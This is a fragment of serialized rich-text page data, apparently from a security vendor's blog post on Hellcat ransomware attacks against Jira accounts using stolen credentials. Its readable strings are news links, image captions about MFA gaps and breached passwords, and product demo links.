",[],{},{"nodeType":889,"data":139355,"content":139357},{"uri":139356},"https://hackread.com/hellcat-ransomware-firms-infostealer-stolen-jira-credentials/",[139358],{"nodeType":865,"value":139359,"marks":139360,"data":139361},"four more victims have been claimed by Hellcat",[],{},{"nodeType":865,"value":139363,"marks":139364,"data":139365}," (all involving Jira breaches), bringing the total to 10 breaches in 6 months. This further indicates that this is a fast moving issue and attackers are undertaking a concerted campaign against Jira accounts — that isn't going away anytime soon. ",[],{},{"nodeType":866,"data":139367,"content":139368},{},[139369,139373,139381],{"nodeType":865,"value":139370,"marks":139371,"data":139372},"Update 2: Jira attacks conducted by Hellcat have continued into July ",[],{},{"nodeType":889,"data":139374,"content":139376},{"uri":139375},"https://www.bleepingcomputer.com/news/security/hacker-leaks-telef-nica-data-allegedly-stolen-in-a-new-breach/",[139377],{"nodeType":865,"value":139378,"marks":139379,"data":139380},"with the latest victim claimed by the attackers.",[],{},{"nodeType":865,"value":2688,"marks":139382,"data":139383},[],{},"Hellcat insight box",{"sys":139386,"__typename":1390,"title":139387,"caption":139388,"layoutMode":59,"file":139389},{"id":136884},"Hellcat timeline of Jira breaches","Attacks targeting Jira using stolen credentials are ramping up",{"url":139390,"width":129357,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/1BqkoZww9MTs41whLVPMTj/ee67f53ff51c24b7d36066641e879583/hellcat_social_graphic.png",{"sys":139392,"__typename":5503,"content":139393,"name":139417,"title":59},{"id":137058},{"json":139394},{"data":139395,"content":139396,"nodeType":1382},{},[139397],{"data":139398,"content":139399,"nodeType":866},{},[139400,139404,139413],{"data":139401,"marks":139402,"value":139403,"nodeType":865},{},[],"Attackers are already targeting these apps — we recently saw ServiceNow servers being exploited by threat groups — but actually given that most organizations access ServiceNow as a cloud app, it’s easier to go the route of identity attacks. Remember when a ",{"data":139405,"content":139407,"nodeType":889},{"uri":139406},"https://pushsecurity.com/blog/learning-from-the-servicenow-disclosure/",[139408],{"data":139409,"marks":139410,"value":139412,"nodeType":865},{},[139411],{"type":943},"security researcher logged into Microsoft’s ServiceNow tenant with stolen credentials",{"data":139414,"marks":139415,"value":139416,"nodeType":865},{},[],", accessing 1,000s of support ticket descriptions and attachments, and 250k+ employee emails?","Jira blog insight box",{"sys":139419,"__typename":1390,"title":139420,"caption":139421,"layoutMode":59,"file":139422},{"id":137099},"Comparing password vulnerabilities in Jira and other platforms","Table: What % of accounts with a password are vulnerable to account takeover through (1) MFA gaps and (2) using a breached, weak, or reused password. ",{"url":139423,"width":78488,"height":139424},"https://images.ctfassets.net/y1cdw1ablpvd/2oPkACCXFwWoIuMLfOGOkA/f676624ddce5651b09f6a768a8dd2c70/Screenshot_2025-03-24_at_10.46.49.png",678,{"sys":139426,"__typename":52243,"title":139427,"arcadeDemoUrl":139428,"playText":59377},{"id":137277},"Close MFA gaps with Push","https://demo.arcade.software/eP35OjAoajgNud5qqMGf?embed",{"sys":139430,"__typename":52243,"title":136719,"arcadeDemoUrl":136720,"playText":59377},{"id":136567},{"sys":139432,"__typename":52243,"title":139433,"arcadeDemoUrl":139434,"playText":59377},{"id":137373},"Create an App Banner guiding users to log in via SSO","https://demo.arcade.software/D8BrC6k3x919TcOid0qc?embed",{"items":139436},[],{},"Why attackers are targeting Jira with stolen credentials",{"url":139440},"https://images.ctfassets.net/y1cdw1ablpvd/2IqfH1VLMma3YrbSX29q2Q/0b87ae386387e2ceaed097baf7321257/hellcat_social_graphic.png",{"items":139442},[139443,140308,141008],{"__typename":1429,"sys":139444,"content":139445,"title":87631,"synopsis":138686,"hashTags":59,"publishedDate":136727,"slug":87632,"tagsCollection":140298,"authorsCollection":140304},{"id":80277},{"json":139446},{"data":139447,"content":139448,"nodeType":1382},{},[139449,139465,139471,139477,139483,139489,139494,139500,139513,139516,139522,139528,139534,139540,139549,139555,139561,139567,139574,139580,139642,139652,139658,139665,139671,139721,139731,139737,139742,139749,139755,139784,139804,139810,139819,139822,139828,139844,139850,139880,139886,139892,139898,139903,139906,139912,139918,139925,139931,139937,139950,139955,139962,139968,139973,139980,139996,140002,140028,140045,140050,140066,140082,140089,140095,140101,140106,140122,140125,140132,140145,140151,140157,140201,140206,140212,140218,140257,140260,140267,140273,140276,140282],{"data":139450,"content":139451,"nodeType":866},{},[139452,139455,139462],{"data":139453,"marks":139454,"value":135697,"nodeType":865},{},[],{"data":139456,"content":139457,"nodeType":889},{"uri":135700},[139458],{"data":139459,"marks":139460,"value":135706,"nodeType":865},{},[139461],{"type":943},{"data":139463,"marks":139464,"value":46245,"nodeType":865},{},[],{"data":139466,"content":139467,"nodeType":866},{},[139468],{"data":139469,"marks":139470,"value":135716,"nodeType":865},{},[],{"data":139472,"content":139473,"nodeType":866},{},[139474],{"data":139475,"marks":139476,"value":135723,"nodeType":865},{},[],{"data":139478,"content":139479,"nodeType":866},{},[139480],{"data":139481,"marks":139482,"value":135730,"nodeType":865},{},[],{"data":139484,"content":139485,"nodeType":866},{},[139486],{"data":139487,"marks":139488,"value":135737,"nodeType":865},{},[],{"data":139490,"content":139493,"nodeType":912},{"target":139491},{"sys":139492},{"id":135742,"type":909,"linkType":910},[],{"data":139495,"content":139496,"nodeType":866},{},[139497],{"data":139498,"marks":139499,"value":135750,"nodeType":865},{},[],{"data":139501,"content":139502,"nodeType":866},{},[139503,139506,139510],{"data":139504,"marks":139505,"value":135757,"nodeType":865},{},[],{"data":139507,"marks":139508,"value":58371,"nodeType":865},{},[139509],{"type":926},{"data":139511,"marks":139512,"value":135765,"nodeType":865},{},[],{"data":139514,"content":139515,"nodeType":972},{},[],{"data":139517,"content":139518,"nodeType":981},{},[139519],{"data":139520,"marks":139521,"value":135775,"nodeType":865},{},[],{"data":139523,"content":139524,"nodeType":866},{},[139525],{"data":139526,"marks":139527,"value":135782,"nodeType":865},{},[],{"data":139529,"content":139530,"nodeType":866},{},[139531],{"data":139532,"marks":139533,"value":135789,"nodeType":865},{},[],{"data":139535,"content":139536,"nodeType":866},{},[139537],{"data":139538,"marks":139539,"value":135796,"nodeType":865},{},[],{"data":139541,"content":139542,"nodeType":7584},{},[139543],{"data":139544,"content":139545,"nodeType":866},{},[139546],{"data":139547,"marks":139548,"value":135806,"nodeType":865},{},[],{"data":139550,"content":139551,"nodeType":866},{},[139552],{"data":139553,"marks":139554,"value":135813,"nodeType":865},{},[],{"data":139556,"content":139557,"nodeType":866},{},[139558],{"data":139559,"marks":139560,"value":135820,"nodeType":865},{},[],{"data":139562,"content":139563,"nodeType":866},{},[139564],{"data":139565,"marks":139566,"value":135827,"nodeType":865},{},[],{"data":139568,"content":139569,"nodeType":1317},{},[139570],{"data":139571,"marks":139572,"value":135835,"nodeType":865},{},[139573],{"type":926},{"data":139575,"content":139576,"nodeType":866},{},[139577],{"data":139578,"marks":139579,"value":135842,"nodeType":865},{},[],{"data":139581,"content":139582,"nodeType":1616},{},[139583,139606,139629],{"data":139584,"content":139585,"nodeType":1570},{},[139586],{"data":139587,"content":139588,"nodeType":866},{},[139589,139593,139596,139603],{"data":139590,"marks":139591,"value":135856,"nodeType":865},{},[139592],{"type":926},{"data":139594,"marks":139595,"value":135860,"nodeType":865},{},[],{"data":139597,"content":139598,"nodeType":889},{"uri":6698},[139599],{"data":139600,"marks":139601,"value":135868,"nodeType":865},{},[139602],{"type":943},{"data":139604,"marks":139605,"value":135872,"nodeType":865},{},[],{"data":139607,"content":139608,"nodeType":1570},{},[139609],{"data":139610,"content":139611,"nodeType":866},{},[139612,139616,139619,139626],{"data":139613,"marks":139614,"value":135883,"nodeType":865},{},[139615],{"type":926},{"data":139617,"marks":139618,"value":135887,"nodeType":865},{},[],{"data":139620,"content":139621,"nodeType":889},{"uri":53259},[139622],{"data":139623,"marks":139624,"value":6715,"nodeType":865},{},[139625],{"type":943},{"data":139627,"marks":139628,"value":135898,"nodeType":865},{},[],{"data":139630,"content":139631,"nodeType":1570},{},[139632],{"data":139633,"content":139634,"nodeType":866},{},[139635,139639],{"data":139636,"marks":139637,"value":135909,"nodeType":865},{},[139638],{"type":926},{"data":139640,"marks":139641,"value":135913,"nodeType":865},{},[],{"data":139643,"content":139644,"nodeType":866},{},[139645,139649],{"data":139646,"marks":139647,"value":135921,"nodeType":865},{},[139648],{"type":926},{"data":139650,"marks":139651,"value":135925,"nodeType":865},{},[],{"data":139653,"content":139654,"nodeType":866},{},[139655],{"data":139656,"marks":139657,"value":135932,"nodeType":865},{},[],{"data":139659,"content":139660,"nodeType":1317},{},[139661],{"data":139662,"marks":139663,"value":135940,"nodeType":865},{},[139664],{"type":926},{"data":139666,"content":139667,"nodeType":866},{},[139668],{"data":139669,"marks":139670,"value":135947,"nodeType":865},{},[],{"data":139672,"content":139673,"nodeType":1616},{},[139674,139698],{"data":139675,"content":139676,"nodeType":1570},{},[139677],{"data":139678,"content":139679,"nodeType":866},{},[139680,139683,139691,139695],{"data":139681,"marks":139682,"value":21,"nodeType":865},{},[],{"data":139684,"content":139685,"nodeType":889},{"uri":131613},[139686],{"data":139687,"marks":139688,"value":135968,"nodeType":865},{},[139689,139690],{"type":943},{"type":926},{"data":139692,"marks":139693,"value":2688,"nodeType":865},{},[139694],{"type":926},{"data":139696,"marks":139697,"value":135976,"nodeType":865},{},[],{"data":139699,"content":139700,"nodeType":1570},{},[139701],{"data":139702,"content":139703,"nodeType":866},{},[139704,139708,139711,139718],{"data":139705,"marks":139706,"value":135987,"nodeType":865},{},[139707],{"type":926},{"data":139709,"marks":139710,"value":135991,"nodeType":865},{},[],{"data":139712,"content":139713,"nodeType":889},{"uri":135994},[139714],{"data":139715,"marks":139716,"value":62111,"nodeType":865},{},[139717],{"type":943},{"data":139719,"marks":139720,"value":136003,"nodeType":865},{},[],{"data":139722,"content":139723,"nodeType":866},{},[139724,139728],{"data":139725,"marks":139726,"value":136011,"nodeType":865},{},[139727],{"type":926},{"data":139729,"marks":139730,"value":136015,"nodeType":865},{},[],{"data":139732,"content":139733,"nodeType":866},{},[139734],{"data":139735,"marks":139736,"value":136022,"nodeType":865},{},[],{"data":139738,"content":139741,"nodeType":912},{"target":139739},{"sys":139740},{"id":136027,"type":909,"linkType":910},[],{"data":139743,"content":139744,"nodeType":1317},{},[139745],{"data":139746,"marks":139747,"value":136036,"nodeType":865},{},[139748],{"type":926},{"data":139750,"content":139751,"nodeType":866},{},[139752],{"data":139753,"marks":139754,"value":136043,"nodeType":865},{},[],{"data":139756,"content":139757,"nodeType":1616},{},[139758,139771],{"data":139759,"content":139760,"nodeType":1570},{},[139761],{"data":139762,"content":139763,"nodeType":866},{},[139764,139768],{"data":139765,"marks":139766,"value":136057,"nodeType":865},{},[139767],{"type":926},{"data":139769,"marks":139770,"value":136061,"nodeType":865},{},[],{"data":139772,"content":139773,"nodeType":1570},{},[139774],{"data":139775,"content":139776,"nodeType":866},{},[139777,139781],{"data":139778,"marks":139779,"value":136072,"nodeType":865},{},[139780],{"type":926},{"data":139782,"marks":139783,"value":136076,"nodeType":865},{},[],{"data":139785,"content":139786,"nodeType":866},{},[139787,139791,139794,139801],{"data":139788,"marks":139789,"value":136011,"nodeType":865},{},[139790],{"type":926},{"data":139792,"marks":139793,"value":136087,"nodeType":865},{},[],{"data":139795,"content":139796,"nodeType":889},{"uri":110220},[139797],{"data":139798,"marks":139799,"value":136095,"nodeType":865},{},[139800],{"type":943},{"data":139802,"marks":139803,"value":136099,"nodeType":865},{},[],{"data":139805,"content":139806,"nodeType":866},{},[139807],{"data":139808,"marks":139809,"value":136106,"nodeType":865},{},[],{"data":139811,"content":139812,"nodeType":7584},{},[139813],{"data":139814,"content":139815,"nodeType":866},{},[139816],{"data":139817,"marks":139818,"value":136116,"nodeType":865},{},[],{"data":139820,"content":139821,"nodeType":972},{},[],{"data":139823,"content":139824,"nodeType":981},{},[139825],{"data":139826,"marks":139827,"value":136126,"nodeType":865},{},[],{"data":139829,"content":139830,"nodeType":866},{},[139831,139834,139841],{"data":139832,"marks":139833,"value":136133,"nodeType":865},{},[],{"data":139835,"content":139836,"nodeType":889},{"uri":110363},[139837],{"data":139838,"marks":139839,"value":136141,"nodeType":865},{},[139840],{"type":943},{"data":139842,"marks":139843,"value":136145,"nodeType":865},{},[],{"data":139845,"content":139846,"nodeType":866},{},[139847],{"data":139848,"marks":139849,"value":136152,"nodeType":865},{},[],{"data":139851,"content":139852,"nodeType":1616},{},[139853,139862,139871],{"data":139854,"content":139855,"nodeType":1570},{},[139856],{"data":139857,"content":139858,"nodeType":866},{},[139859],{"data":139860,"marks":139861,"value":136165,"nodeType":865},{},[],{"data":139863,"content":139864,"nodeType":1570},{},[139865],{"data":139866,"content":139867,"nodeType":866},{},[139868],{"data":139869,"marks":139870,"value":136175,"nodeType":865},{},[],{"data":139872,"content":139873,"nodeType":1570},{},[139874],{"data":139875,"content":139876,"nodeType":866},{},[139877],{"data":139878,"marks":139879,"value":136185,"nodeType":865},{},[],{"data":139881,"content":139882,"nodeType":866},{},[139883],{"data":139884,"marks":139885,"value":136192,"nodeType":865},{},[],{"data":139887,"content":139888,"nodeType":866},{},[139889],{"data":139890,"marks":139891,"value":136199,"nodeType":865},{},[],{"data":139893,"content":139894,"nodeType":866},{},[139895],{"data":139896,"marks":139897,"value":136206,"nodeType":865},{},[],{"data":139899,"content":139902,"nodeType":912},{"target":139900},{"sys":139901},{"id":136211,"type":909,"linkType":910},[],{"data":139904,"content":139905,"nodeType":972},{},[],{"data":139907,"content":139908,"nodeType":981},{},[139909],{"data":139910,"marks":139911,"value":136222,"nodeType":865},{},[],{"data":139913,"content":139914,"nodeType":866},{},[139915],{"data":139916,"marks":139917,"value":136229,"nodeType":865},{},[],{"data":139919,"content":139920,"nodeType":1317},{},[139921],{"data":139922,"marks":139923,"value":136237,"nodeType":865},{},[139924],{"type":926},{"data":139926,"content":139927,"nodeType":866},{},[139928],{"data":139929,"marks":139930,"value":136244,"nodeType":865},{},[],{"data":139932,"content":139933,"nodeType":866},{},[139934],{"data":139935,"marks":139936,"value":136251,"nodeType":865},{},[],{"data":139938,"content":139939,"nodeType":866},{},[139940,139943,139947],{"data":139941,"marks":139942,"value":136258,"nodeType":865},{},[],{"data":139944,"marks":139945,"value":136263,"nodeType":865},{},[139946],{"type":898},{"data":139948,"marks":139949,"value":136267,"nodeType":865},{},[],{"data":139951,"content":139954,"nodeType":912},{"target":139952},{"sys":139953},{"id":136272,"type":909,"linkType":910},[],{"data":139956,"content":139957,"nodeType":1317},{},[139958],{"data":139959,"marks":139960,"value":136281,"nodeType":865},{},[139961],{"type":926},{"data":139963,"content":139964,"nodeType":866},{},[139965],{"data":139966,"marks":139967,"value":136288,"nodeType":865},{},[],{"data":139969,"content":139972,"nodeType":912},{"target":139970},{"sys":139971},{"id":136293,"type":909,"linkType":910},[],{"data":139974,"content":139975,"nodeType":1317},{},[139976],{"data":139977,"marks":139978,"value":136302,"nodeType":865},{},[139979],{"type":926},{"data":139981,"content":139982,"nodeType":866},{},[139983,139986,139993],{"data":139984,"marks":139985,"value":136309,"nodeType":865},{},[],{"data":139987,"content":139988,"nodeType":889},{"uri":136312},[139989],{"data":139990,"marks":139991,"value":136318,"nodeType":865},{},[139992],{"type":943},{"data":139994,"marks":139995,"value":136322,"nodeType":865},{},[],{"data":139997,"content":139998,"nodeType":866},{},[139999],{"data":140000,"marks":140001,"value":136329,"nodeType":865},{},[],{"data":140003,"content":140004,"nodeType":866},{},[140005,140008,140015,140018,140025],{"data":140006,"marks":140007,"value":136336,"nodeType":865},{},[],{"data":140009,"content":140010,"nodeType":889},{"uri":136339},[140011],{"data":140012,"marks":140013,"value":136345,"nodeType":865},{},[140014],{"type":943},{"data":140016,"marks":140017,"value":136349,"nodeType":865},{},[],{"data":140019,"content":140020,"nodeType":889},{"uri":136352},[140021],{"data":140022,"marks":140023,"value":136358,"nodeType":865},{},[140024],{"type":943},{"data":140026,"marks":140027,"value":136362,"nodeType":865},{},[],{"data":140029,"content":140030,"nodeType":866},{},[140031,140034,140042],{"data":140032,"marks":140033,"value":58388,"nodeType":865},{},[],{"data":140035,"content":140036,"nodeType":889},{"uri":13526},[140037],{"data":140038,"marks":140039,"value":136377,"nodeType":865},{},[140040,140041],{"type":943},{"type":926},{"data":140043,"marks":140044,"value":136381,"nodeType":865},{},[],{"data":140046,"content":140049,"nodeType":912},{"target":140047},{"sys":140048},{"id":123970,"type":909,"linkType":910},[],{"data":140051,"content":140052,"nodeType":866},{},[140053,140056,140063],{"data":140054,"marks":140055,"value":136393,"nodeType":865},{},[],{"data":140057,"content":140058,"nodeType":889},{"uri":136396},[140059],{"data":140060,"marks":140061,"value":136402,"nodeType":865},{},[140062],{"type":943},{"data":140064,"marks":140065,"value":136406,"nodeType":865},{},[],{"data":140067,"content":140068,"nodeType":866},{},[140069,140072,140079],{"data":140070,"marks":140071,"value":136413,"nodeType":865},{},[],{"data":140073,"content":140074,"nodeType":889},{"uri":136416},[140075],{"data":140076,"marks":140077,"value":136422,"nodeType":865},{},[140078],{"type":943},{"data":140080,"marks":140081,"value":136426,"nodeType":865},{},[],{"data":140083,"content":140084,"nodeType":1317},{},[140085],{"data":140086,"marks":140087,"value":136434,"nodeType":865},{},[140088],{"type":926},{"data":140090,"content":140091,"nodeType":866},{},[140092],{"data":140093,"marks":140094,"value":136441,"nodeType":865},{},[],{"data":140096,"content":140097,"nodeType":866},{},[140098],{"data":140099,"marks":140100,"value":136448,"nodeType":865},{},[],{"data":140102,"content":140105,"nodeType":912},{"target":140103},{"sys":140104},{"id":136453,"type":909,"linkType":910},[],{"data":140107,"content":140108,"nodeType":866},{},[140109,140112,140119],{"data":140110,"marks":140111,"value":136461,"nodeType":865},{},[],{"data":140113,"content":140114,"nodeType":889},{"uri":132524},[140115],{"data":140116,"marks":140117,"value":58363,"nodeType":865},{},[140118],{"type":943},{"data":140120,"marks":140121,"value":136472,"nodeType":865},{},[],{"data":140123,"content":140124,"nodeType":972},{},[],{"data":140126,"content":140127,"nodeType":981},{},[140128],{"data":140129,"marks":140130,"value":136483,"nodeType":865},{},[140131],{"type":926},{"data":140133,"content":140134,"nodeType":866},{},[140135,140138,140142],{"data":140136,"marks":140137,"value":136490,"nodeType":865},{},[],{"data":140139,"marks":140140,"value":2688,"nodeType":865},{},[140141],{"type":926},{"data":140143,"marks":140144,"value":136498,"nodeType":865},{},[],{"data":140146,"content":140147,"nodeType":866},{},[140148],{"data":140149,"marks":140150,"value":136505,"nodeType":865},{},[],{"data":140152,"content":140153,"nodeType":866},{},[140154],{"data":140155,"marks":140156,"value":136512,"nodeType":865},{},[],{"data":140158,"content":140159,"nodeType":1616},{},[140160,140183,140192],{"data":140161,"content":140162,"nodeType":1570},{},[140163],{"data":140164,"content":140165,"nodeType":866},{},[140166,140169,140173,140176,140180],{"data":140167,"marks":140168,"value":136525,"nodeType":865},{},[],{"data":140170,"marks":140171,"value":58371,"nodeType":865},{},[140172],{"type":926},{"data":140174,"marks":140175,"value":136533,"nodeType":865},{},[],{"data":140177,"marks":140178,"value":136538,"nodeType":865},{},[140179],{"type":926},{"data":140181,"marks":140182,"value":136542,"nodeType":865},{},[],{"data":140184,"content":140185,"nodeType":1570},{},[140186],{"data":140187,"content":140188,"nodeType":866},{},[140189],{"data":140190,"marks":140191,"value":136552,"nodeType":865},{},[],{"data":140193,"content":140194,"nodeType":1570},{},[140195],{"data":140196,"content":140197,"nodeType":866},{},[140198],{"data":140199,"marks":140200,"value":136562,"nodeType":865},{},[],{"data":140202,"content":140205,"nodeType":912},{"target":140203},{"sys":140204},{"id":136567,"type":909,"linkType":910},[],{"data":140207,"content":140208,"nodeType":866},{},[140209],{"data":140210,"marks":140211,"value":136575,"nodeType":865},{},[],{"data":140213,"content":140214,"nodeType":866},{},[140215],{"data":140216,"marks":140217,"value":136582,"nodeType":865},{},[],{"data":140219,"content":140220,"nodeType":1616},{},[140221,140230,140239,140248],{"data":140222,"content":140223,"nodeType":1570},{},[140224],{"data":140225,"content":140226,"nodeType":866},{},[140227],{"data":140228,"marks":140229,"value":136595,"nodeType":865},{},[],{"data":140231,"content":140232,"nodeType":1570},{},[140233],{"data":140234,"content":140235,"nodeType":866},{},[140236],{"data":140237,"marks":140238,"value":136605,"nodeType":865},{},[],{"data":140240,"content":140241,"nodeType":1570},{},[140242],{"data":140243,"content":140244,"nodeType":866},{},[140245],{"data":140246,"marks":140247,"value":136615,"nodeType":865},{},[],{"data":140249,"content":140250,"nodeType":1570},{},[140251],{"data":140252,"content":140253,"nodeType":866},{},[140254],{"data":140255,"marks":140256,"value":136625,"nodeType":865},{},[],{"data":140258,"content":140259,"nodeType":972},{},[],{"data":140261,"content":140262,"nodeType":981},{},[140263],{"data":140264,"marks":140265,"value":136636,"nodeType":865},{},[140266],{"type":926},{"data":140268,"content":140269,"nodeType":866},{},[140270],{"data":140271,"marks":140272,"value":136643,"nodeType":865},{},[],{"data":140274,"content":140275,"nodeType":972},{},[],{"data":140277,"content":140278,"nodeType":981},{},[140279],{"data":140280,"marks":140281,"value":113824,"nodeType":865},{},[],{"data":140283,"content":140284,"nodeType":866},{},[140285,140288,140295],{"data":140286,"marks":140287,"value":136659,"nodeType":865},{},[],{"data":140289,"content":140290,"nodeType":889},{"uri":16069},[140291],{"data":140292,"marks":140293,"value":2298,"nodeType":865},{},[140294],{"type":943},{"data":140296,"marks":140297,"value":1615,"nodeType":865},{},[],{"items":140299},[140300,140302],{"sys":140301,"name":297},{"id":2310},{"sys":140303,"name":7796},{"id":7795},{"items":140305},[140306],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":140307},{"url":6503},{"__typename":1429,"sys":140309,"content":140310,"title":62409,"synopsis":62410,"hashTags":59,"publishedDate":62411,"slug":62412,"tagsCollection":141000,"authorsCollection":141004},{"id":61617},{"json":140311},{"data":140312,"content":140313,"nodeType":1382},{},[140314,140319,140335,140341,140347,140352,140355,140362,140368,140384,140394,140400,140406,140412,140496,140499,140506,140581,140586,140589,140596,140603,140609,140615,140622,140638,140644,140651,140657,140663,140670,140676,140682,140698,140703,140706,140713,140720,140726,140815,140821,140828,140834,140840,140845,140852,140858,140864,140870,140877,140883,140889,140895,140901,140906,140909,140916,140922,140952,140958,140973,140989,140994],{"data":140315,"content":140318,"nodeType":912},{"target":140316},{"sys":140317},{"id":61626,"type":909,"linkType":910},[],{"data":140320,"content":140321,"nodeType":866},{},[140322,140325,140332],{"data":140323,"marks":140324,"value":61634,"nodeType":865},{},[],{"data":140326,"content":140327,"nodeType":889},{"uri":61637},[140328],{"data":140329,"marks":140330,"value":61643,"nodeType":865},{},[140331],{"type":943},{"data":140333,"marks":140334,"value":61647,"nodeType":865},{},[],{"data":140336,"content":140337,"nodeType":866},{},[140338],{"data":140339,"marks":140340,"value":61654,"nodeType":865},{},[],{"data":140342,"content":140343,"nodeType":866},{},[140344],{"data":140345,"marks":140346,"value":61661,"nodeType":865},{},[],{"data":140348,"content":140351,"nodeType":912},{"target":140349},{"sys":140350},{"id":61666,"type":909,"linkType":910},[],{"data":140353,"content":140354,"nodeType":972},{},[],{"data":140356,"content":140357,"nodeType":981},{},[140358],{"data":140359,"marks":140360,"value":61678,"nodeType":865},{},[140361],{"type":926},{"data":140363,"content":140364,"nodeType":866},{},[140365],{"data":140366,"marks":140367,"value":61685,"nodeType":865},{},[],{"data":140369,"content":140370,"nodeType":866},{},[140371,140374,140381],{"data":140372,"marks":140373,"value":61692,"nodeType":865},{},[],{"data":140375,"content":140376,"nodeType":889},{"uri":15841},[140377],{"data":140378,"marks":140379,"value":61700,"nodeType":865},{},[140380],{"type":943},{"data":140382,"marks":140383,"value":14251,"nodeType":865},{},[],{"data":140385,"content":140386,"nodeType":7584},{},[140387],{"data":140388,"content":140389,"nodeType":866},{},[140390],{"data":140391,"marks":140392,"value":61714,"nodeType":865},{},[140393],{"type":926},{"data":140395,"content":140396,"nodeType":866},{},[140397],{"data":140398,"marks":140399,"value":61721,"nodeType":865},{},[],{"data":140401,"content":140402,"nodeType":866},{},[140403],{"data":140404,"marks":140405,"value":61728,"nodeType":865},{},[],{"data":140407,"content":140408,"nodeType":866},{},[140409],{"data":140410,"marks":140411,"value":61735,"nodeType":865},{},[],{"data":140413,"content":140414,"nodeType":1616},{},[140415,140424,140433,140442,140451,140460,140469,140478,140487],{"data":140416,"content":140417,"nodeType":1570},{},[140418],{"data":140419,"content":140420,"nodeType":866},{},[140421],{"data":140422,"marks":140423,"value":61748,"nodeType":865},{},[],{"data":140425,"content":140426,"nodeType":1570},{},[140427],{"data":140428,"content":140429,"nodeType":866},{},[140430],{"data":140431,"marks":140432,"value":61758,"nodeType":865},{},[],{"data":140434,"content":140435,"nodeType":1570},{},[140436],{"data":140437,"content":140438,"nodeType":866},{},[140439],{"data":140440,"marks":140441,"value":61768,"nodeType":865},{},[],{"data":140443,"content":140444,"nodeType":1570},{},[140445],{"data":140446,"content":140447,"nodeType":866},{},[140448],{"data":140449,"marks":140450,"value":61778,"nodeType":865},{},[],{"data":140452,"content":140453,"nodeType":1570},{},[140454],{"data":140455,"content":140456,"nodeType":866},{},[140457],{"data":140458,"marks":140459,"value":61788,"nodeType":865},{},[],{"data":140461,"content":140462,"nodeType":1570},{},[140463],{"data":140464,"content":140465,"nodeType":866},{},[140466],{"data":140467,"marks":140468,"value":61798,"nodeType":865},{},[],{"data":140470,"content":140471,"nodeType":1570},{},[140472],{"data":140473,"content":140474,"nodeType":866},{},[140475],{"data":140476,"marks":140477,"value":61808,"nodeType":865},{},[],{"data":140479,"content":140480,"nodeType":1570},{},[140481],{"data":140482,"content":140483,"nodeType":866},{},[140484],{"data":140485,"marks":140486,"value":61818,"nodeType":865},{},[],{"data":140488,"content":140489,"nodeType":1570},{},[140490],{"data":140491,"content":140492,"nodeType":866},{},[140493],{"data":140494,"marks":140495,"value":61828,"nodeType":865},{},[],{"data":140497,"content":140498,"nodeType":972},{},[],{"data":140500,"content":140501,"nodeType":981},{},[140502],{"data":140503,"marks":140504,"value":61839,"nodeType":865},{},[140505],{"type":926},{"data":140507,"content":140508,"nodeType":1616},{},[140509,140518,140527,140536,140545,140554,140563,140572],{"data":140510,"content":140511,"nodeType":1570},{},[140512],{"data":140513,"content":140514,"nodeType":866},{},[140515],{"data":140516,"marks":140517,"value":61852,"nodeType":865},{},[],{"data":140519,"content":140520,"nodeType":1570},{},[140521],{"data":140522,"content":140523,"nodeType":866},{},[140524],{"data":140525,"marks":140526,"value":61862,"nodeType":865},{},[],{"data":140528,"content":140529,"nodeType":1570},{},[140530],{"data":140531,"content":140532,"nodeType":866},{},[140533],{"data":140534,"marks":140535,"value":61872,"nodeType":865},{},[],{"data":140537,"content":140538,"nodeType":1570},{},[140539],{"data":140540,"content":140541,"nodeType":866},{},[140542],{"data":140543,"marks":140544,"value":61882,"nodeType":865},{},[],{"data":140546,"content":140547,"nodeType":1570},{},[140548],{"data":140549,"content":140550,"nodeType":866},{},[140551],{"data":140552,"marks":140553,"value":61892,"nodeType":865},{},[],{"data":140555,"content":140556,"nodeType":1570},{},[140557],{"data":140558,"content":140559,"nodeType":866},{},[140560],{"data":140561,"marks":140562,"value":61902,"nodeType":865},{},[],{"data":140564,"content":140565,"nodeType":1570},{},[140566],{"data":140567,"content":140568,"nodeType":866},{},[140569],{"data":140570,"marks":140571,"value":61912,"nodeType":865},{},[],{"data":140573,"content":140574,"nodeType":1570},{},[140575],{"data":140576,"content":140577,"nodeType":866},{},[140578],{"data":140579,"marks":140580,"value":61922,"nodeType":865},{},[],{"data":140582,"content":140585,"nodeType":912},{"target":140583},{"sys":140584},{"id":61927,"type":909,"linkType":910},[],{"data":140587,"content":140588,"nodeType":972},{},[],{"data":140590,"content":140591,"nodeType":981},{},[140592],{"data":140593,"marks":140594,"value":61939,"nodeType":865},{},[140595],{"type":926},{"data":140597,"content":140598,"nodeType":1317},{},[140599],{"data":140600,"marks":140601,"value":61947,"nodeType":865},{},[140602],{"type":926},{"data":140604,"content":140605,"nodeType":866},{},[140606],{"data":140607,"marks":140608,"value":61954,"nodeType":865},{},[],{"data":140610,"content":140611,"nodeType":866},{},[140612],{"data":140613,"marks":140614,"value":61961,"nodeType":865},{},[],{"data":140616,"content":140617,"nodeType":1317},{},[140618],{"data":140619,"marks":140620,"value":61969,"nodeType":865},{},[140621],{"type":926},{"data":140623,"content":140624,"nodeType":866},{},[140625,140628,140635],{"data":140626,"marks":140627,"value":61976,"nodeType":865},{},[],{"data":140629,"content":140630,"nodeType":889},{"uri":6710},[140631],{"data":140632,"marks":140633,"value":6715,"nodeType":865},{},[140634],{"type":943},{"data":140636,"marks":140637,"value":14251,"nodeType":865},{},[],{"data":140639,"content":140640,"nodeType":866},{},[140641],{"data":140642,"marks":140643,"value":61993,"nodeType":865},{},[],{"data":140645,"content":140646,"nodeType":1317},{},[140647],{"data":140648,"marks":140649,"value":62001,"nodeType":865},{},[140650],{"type":926},{"data":140652,"content":140653,"nodeType":866},{},[140654],{"data":140655,"marks":140656,"value":62008,"nodeType":865},{},[],{"data":140658,"content":140659,"nodeType":866},{},[140660],{"data":140661,"marks":140662,"value":62015,"nodeType":865},{},[],{"data":140664,"content":140665,"nodeType":1317},{},[140666],{"data":140667,"marks":140668,"value":62023,"nodeType":865},{},[140669],{"type":926},{"data":140671,"content":140672,"nodeType":866},{},[140673],{"data":140674,"marks":140675,"value":62030,"nodeType":865},{},[],{"data":140677,"content":140678,"nodeType":866},{},[140679],{"data":140680,"marks":140681,"value":62037,"nodeType":865},{},[],{"data":140683,"content":140684,"nodeType":866},{},[140685,140688,140695],{"data":140686,"marks":140687,"value":62044,"nodeType":865},{},[],{"data":140689,"content":140690,"nodeType":889},{"uri":62047},[140691],{"data":140692,"marks":140693,"value":62053,"nodeType":865},{},[140694]